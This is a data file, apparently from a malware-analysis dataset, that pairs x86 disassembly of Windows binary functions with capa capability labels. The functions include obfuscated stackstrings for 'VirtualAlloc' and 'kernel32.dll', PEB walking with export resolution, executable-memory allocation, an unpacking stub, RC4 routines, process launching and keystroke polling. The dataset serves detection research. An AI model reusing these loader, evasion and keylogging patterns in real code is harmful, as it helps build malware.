joyce8/EMBER2024-capa huggingface dataset:
Function at 0x102250d0
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x24]
mov dword [0x102408ac], 0x138
mov esi, dword [0x102408b0]
mov byte [ebp - 0x24], 0x56
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x72
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 0x41
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x63
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x17], 0x4b
add esi, 0xffffbad2
mov dword [0x102408b0], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
call fcn.102258e0
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.10225b50
mov dword [0x102408b0], 0x1cba
cmp eax, 0
mov dword [ebp - 0x34], eax
je 0x10225219
mov eax, dword [ebp - 0x34]
mov dword [0x102408b0], 0x2525
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x102408b0]
add ecx, 0xffffe4b9
mov dword [0x102408ac], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x38], eax
call fcn.102269c0
xor eax, eax
mov ecx, dword [ebp - 0x38]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], pe_nt_image_headers32
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov dword [0x102408ac], 0xca9
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x10], ecx
mov ecx, dword [ebp - 0x38]
mov dword [edx + 0x38], ecx
add ecx, 0x100e
mov esi, dword [ebp - 0x38]
cmp esi, 0
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
je 0x10225210
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x4c
pop esi
pop ebp
ret
xor eax, eax
add esp, 0x4c
pop esi
pop ebp
ret
Function at 0x10225380
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x98
lea eax, [esp + 0x28]
lea ecx, [esp + 0x38]
mov dword [0x102408ac], 0x1cbb
mov dword [0x102408b0], 0xfffff8ec
mov dword [esp], eax
mov dword [esp + 0x24], ecx
call fcn.10225d00
lea ecx, [0x102252c0]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x38], edx
mov dword [esp + 0x80], 0x13fa00
mov edx, dword [0x10240898]
mov dword [esp + 0x90], edx
mov edx, dword [0x1024089c]
mov dword [esp + 0x84], edx
mov edx, dword [0x102408a0]
mov dword [esp + 0x4c], edx
mov edx, dword [0x102408a4]
mov dword [esp + 0x88], edx
mov edx, dword [0x102408a8]
mov dword [esp + 0x54], edx
mov dword [0x102408b0], 0x12c7
mov dword [0x102408ac], 0xde7
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
jmp 0x10225448
mov eax, dword [esp + 0x18]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ecx
je 0x1022546b
jmp 0x10225457
mov eax, dword [esp + 0xc]
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x18], eax
je 0x10225426
mov eax, dword [esp + 0x18]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x1c], eax
jmp 0x10225448
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x74], ecx
mov dword [0x102408ac], 0xfdd
mov eax, dword [ecx + eax + 0x50]
mov dword [esp + 0x60], eax
call fcn.10224320
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
jne 0x10225440
lea eax, [esp + 0x38]
mov ecx, dword [0x102408ac]
add ecx, 0xffffda97
mov dword [0x102408b0], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.102250d0
mov dword [0x102408ac], 0xa7c
mov dword [esp + 8], eax
mov eax, esp
lea ecx, [esp + 0x38]
mov dword [eax], ecx
mov eax, dword [esp + 8]
call eax
sub esp, 4
mov eax, 2
mov dword [esp + 0xc], eax
jmp 0x10225440
Function at 0x102258e0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xa0
lea eax, [ebp - 0x6c]
mov dword [0x102408ac], 0x138
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x28], 0x65
mov dword [ebp - 0x70], eax
mov al, 0x6b
xor ecx, ecx
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 0x4b
mov dword [0x102408b0], 0xfffff38d
mov byte [ebp - 0x71], al
mov dword [ebp - 0x78], ecx
jmp 0x102259ab
mov eax, dword [ebp - 0x7c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x80]
cmp ecx, edx
mov dword [ebp - 0x84], ecx
je 0x10225b05
mov eax, dword [ebp - 0x84]
mov cx, word [eax + 0x24]
mov dword [0x102408ac], 0x5c5
mov edx, dword [eax + 0x28]
mov dword [0x102408b0], 0x1f3a
shr cx, 1
movzx esi, cx
cmp cx, 0
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x88], edx
mov dword [ebp - 0x8c], esi
je 0x1022594a
xor eax, eax
mov dword [ebp - 0x90], eax
jmp 0x10225a33
mov eax, dword [ebp - 0x78]
mov cl, byte [ebp - 0x71]
movsx edx, cl
mov si, dx
mov word [ebp + eax*2 - 0x6c], si
mov edx, eax
add edx, 1
mov cl, byte [ebp + eax - 0x2b]
cmp cl, 0
mov byte [ebp - 0x71], cl
mov dword [ebp - 0x78], edx
jne 0x102259ab
mov dword [0x102408b0], 0x12c7
mov dword [0x102408ac], 0x3ac1
mov ecx, dword fs:[0x18]
xor eax, eax
mov ecx, dword [ecx + 0x30]
mov ecx, dword [ecx + 0xc]
mov edx, ecx
add edx, 0x14
mov dword [0x102408ac], 0x15da
mov ecx, dword [ecx + 0x14]
cmp ecx, edx
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x80], edx
mov dword [ebp - 0x98], eax
je 0x10225b0f
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x84], eax
jmp 0x10225960
mov eax, dword [ebp - 0x90]
mov ecx, eax
add ecx, 1
mov edx, dword [ebp - 0x88]
mov si, word [edx + eax*2]
mov di, si
add di, 0xffbf
mov bx, si
add bx, 0x20
cmp di, 0x1a
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0xa0], ecx
mov word [ebp - 0xa2], si
mov word [ebp - 0xa4], bx
jb 0x10225a8a
mov ax, word [ebp - 0xa2]
mov word [ebp - 0xa4], ax
mov ax, word [ebp - 0xa4]
mov ecx, dword [ebp - 0x9c]
cmp word [ebp + ecx*2 - 0x6c], ax
sete dl
cmp ax, 0
setne dh
mov bl, dl
and bl, dh
mov esi, dword [ebp - 0xa0]
mov edi, dword [ebp - 0x8c]
cmp esi, edi
setb dh
and dh, bl
test dh, 1
mov dword [ebp - 0x90], esi
mov byte [ebp - 0xa5], dl
jne 0x10225a33
mov al, byte [ebp - 0xa5]
mov dword [0x102408ac], 0x1792
test al, 1
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0xac], ecx
jne 0x10225af4
jmp 0x1022594a
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x98], eax
jmp 0x10225b0f
xor eax, eax
mov dword [ebp - 0x98], eax
jmp 0x10225b0f
mov eax, dword [ebp - 0x98]
add esp, 0xa0
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x102267a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x40
mov eax, dword [ebp + 8]
mov dword [0x102408ac], 0x1df4
mov dword [ebp - 0x10], eax
call fcn.10224490
xor ecx, ecx
mov edx, eax
mov esi, dword [0x102408b0]
mov edi, esi
add edi, 0xffffee37
mov dword [0x102408ac], edi
mov edi, dword [eax + 0x3c]
add esi, 0xfffffd16
mov dword [0x102408ac], esi
mov esi, dword [eax + edi + 0x78]
mov dword [0x102408b0], 0xcf8
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x102408ac], 0x727
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x10226919
jmp 0x1022689e
mov eax, dword [ebp - 0x28]
add eax, 1
mov cl, byte [ebp - 0x29]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x2a]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dl, byte [ebp - 0x2a]
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x31], dl
jne 0x102268ca
jmp 0x102268fc
mov eax, dword [ebp - 0x38]
add eax, 2
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov edx, dword [ebp - 0x18]
cmp ecx, edx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
jb 0x102268b0
jmp 0x10226912
mov eax, dword [ebp - 0x48]
movzx eax, word [eax]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x1c]
mov esi, dword [ebp - 0x1c]
add esi, dword [ecx + eax*4]
mov dword [0x102408ac], 0x241b
mov dword [ebp - 0x24], esi
jmp 0x10226919
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x20]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov esi, dword [ebp - 0x14]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov ecx, eax
mov edx, dword [ebp - 0x4c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov bl, cl
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x29], bh
mov byte [ebp - 0x2a], cl
mov byte [ebp - 0x31], bl
jne 0x10226823
mov al, byte [ebp - 0x31]
test al, 1
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x48], ecx
jne 0x10226879
jmp 0x10226856
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10226919
mov eax, dword [ebp - 0x24]
add esp, 0x40
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10226bc0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, dword [0x102408ac]
add edi, 0xffffea62
mov dword [0x102408ac], edi
mov dword [0x102408b4], 0
mov dword [0x102408b8], 0
mov dword [0x102408c4], 0
mov dword [0x102408b0], 0x5a1
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
je 0x10226d08
jmp 0x10226d10
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
mov esi, 0x100
add eax, 1
mov edi, edx
add edi, 1
mov dword [ebp - 0x2c], edx
cdq
idiv esi
mov dword [0x102408b4], edx
mov dword [0x102408ac], 0x9ec
mov ebx, dword [ebp - 0x1c]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x102408b8], edx
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x30]
mov cl, byte [ecx + esi]
mov byte [0x102408bc], cl
mov dword [0x102408ac], 0xbdb
mov ebx, dword [ebp - 0x1c]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x102408bc]
mov edx, dword [0x102408b8]
mov byte [ebx + edx], cl
mov dword [0x102408b0], 0x138
mov edx, dword [0x102408b4]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x102408b8]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x102408c4], ecx
mov cl, byte [ebx + ecx]
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x2c]
xor cl, byte [edx + esi]
mov edx, dword [ebp - 0x18]
mov byte [edx + esi], cl
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x34], edi
je 0x10226d24
mov eax, dword [0x102408b4]
mov ecx, dword [0x102408b8]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x20], eax
jmp 0x10226c2b
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], eax
jmp 0x10226c2b
jmp 0x10226d08
Function at 0x40209a
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 4, 0
mov esi, eax
lea edx, [eax - 1]
mov ebx, eax
and edx, dword [0x403050]
mov eax, 0x403054
call fcn.00401fb9
lea edx, [ebp - 4]
push edx
mov edx, esi
or dl, 0x40
mov edi, 0x402c2f
push edx
sub edi, fcn.004023d9
push edi
xor eax, eax
push fcn.004023d9
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp - 4], 0
je 0x402105
mov eax, fcn.004023d9
mov ebx, esi
mov edx, edi
call fcn.00401fb9
mov edx, 0x1c000
mov eax, 0x403054
mov ebx, esi
call fcn.00401828
leave
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret

Function at 0x461f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x455015
lea edi, [esi - 0x54015]
push edi
or ebp, 0xffffffff
jmp 0x461f42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x461f49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x461f38
mov eax, 1
add ebx, ebx
jne 0x461f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x461f50
jne 0x461f6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f50
xor ecx, ecx
sub eax, 3
jb 0x461f80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x461ff2
mov ebp, eax
add ebx, ebx
jne 0x461f8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x461f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x461fbc
inc ecx
add ebx, ebx
jne 0x461fa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x461f9d
jne 0x461fb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x461fdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x461fcd
jmp 0x461f3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x461fdc
add edi, ecx
jmp 0x461f3e
pop esi
mov edi, esi
mov ecx, 0x32d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x461ffa
cmp byte [edi], 0
jne 0x461ffa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x461fff
lea edi, [esi + 0x5f000]
mov eax, dword [edi]
or eax, eax
je 0x46206e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x621f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x62254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x46202c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x62258]
or eax, eax
je 0x462068
mov dword [ebx], eax
add ebx, 4
jmp 0x462049
call dword [esi + 0x6225c]
popal
jmp 0x4095a4
Function at 0x5760b0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x64c57b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0063c928
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x576132
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.006397a6
mov eax, dword [eax]
push 0x837f20
push eax
call fcn.0062a884
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0063cbb3
test bl, bl
je 0x576132
push 0x837f20
lea ecx, [esp + 0xc]
call fcn.0063cf43
push 0x837f2c
lea ecx, [esp + 0xc]
call fcn.0063cf43
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x57616e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0063cbb3
jmp 0x576239
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x5761f2
lea edx, [esp + 0x7c]
push 0x837f28
push edx
call fcn.0062a884
add esp, 8
test eax, eax
je 0x5761f2
lea eax, [esp + 0x7c]
push 0x837f24
push eax
call fcn.0062a884
add esp, 8
test eax, eax
je 0x5761f2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x576182
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0063cbb3
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x576a60
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x576ac2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x576ad0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x64c5fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x84d7b8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x576c08
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x576b36
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0063cbb3
xor eax, eax
jmp 0x576c7f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0063ccf0
push esi
lea ecx, [esp + 0xc]
call fcn.0063cf7f
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x837f60
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x576c5d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push connect
call fcn.00576a60
test eax, eax
jne 0x576c5d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push connect
mov ecx, edi
call fcn.00576a60
test eax, eax
jne 0x576c5d
lea eax, [esp + 0x14]
push 0x837f3c
push eax
call fcn.0062bb60
mov esi, eax
add esp, 8
test esi, esi
jne 0x576c3c
lea ecx, [esp + 0x14]
push 0x837f38
push ecx
call fcn.0062bae0
mov esi, eax
add esp, 8
test esi, esi
jne 0x576c3c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x576c3f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0063cca0
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x576b4e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0063cbb3
xor eax, eax
jmp 0x576c7f
mov byte [esi], 0
push 0x837f34
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0063cbb3
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x58fb90
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x58fbfe
cmp si, 0x69
ja 0x58fbfe
add esi, 0xffd0
cmp si, 0x11
je 0x58fbce
push 0x11
call edi
test ax, ax
jge 0x58fbce
or esi, 0x2000
cmp si, 0x10
je 0x58fbe3
push 0x10
call edi
test ax, ax
jge 0x58fbe3
or esi, 0x4000
cmp si, 0x12
je 0x58fbf8
push 0x12
call edi
test ax, ax
jge 0x58fbf8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x58fc0b
mov esi, 0xbd
jmp 0x58fbbf
cmp si, 0x6e
jne 0x58fc18
mov esi, 0xbe
jmp 0x58fbbf
cmp si, 0x6f
jne 0x58fbb9
mov esi, 0xbf
jmp 0x58fbbf

Function at 0x591f10
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x85e608]
xor edx, edx
cmp eax, edx
jne 0x591f36
xor eax, eax
mov byte [eax + 0x85e508], al
inc eax
cmp eax, 0x100
jl 0x591f1e
mov dword [0x85e608], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x85e508
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x591fc7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x591f9a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x591f68
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x592040
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x592093
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x59207a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x595960
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x64e508
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, dword [esp + 0x40]
push esi
lea ecx, [esp + 0x20]
call fcn.0064392b
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0xc]
push eax
push ecx
mov dword [esp + 0x40], 0
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [esp + 0x18]
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub eax, esi
sub ecx, edx
mov edx, dword [esp + 0x4c]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 4], ecx
mov ecx, dword [esp + 0x44]
push edx
push eax
lea edx, [esp + 0xc]
push ecx
lea eax, [esp + 0x28]
push edx
push eax
call fcn.00595830
add esp, 0x14
lea ecx, [esp + 0x1c]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.0064399d
mov ecx, dword [esp + 0x30]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret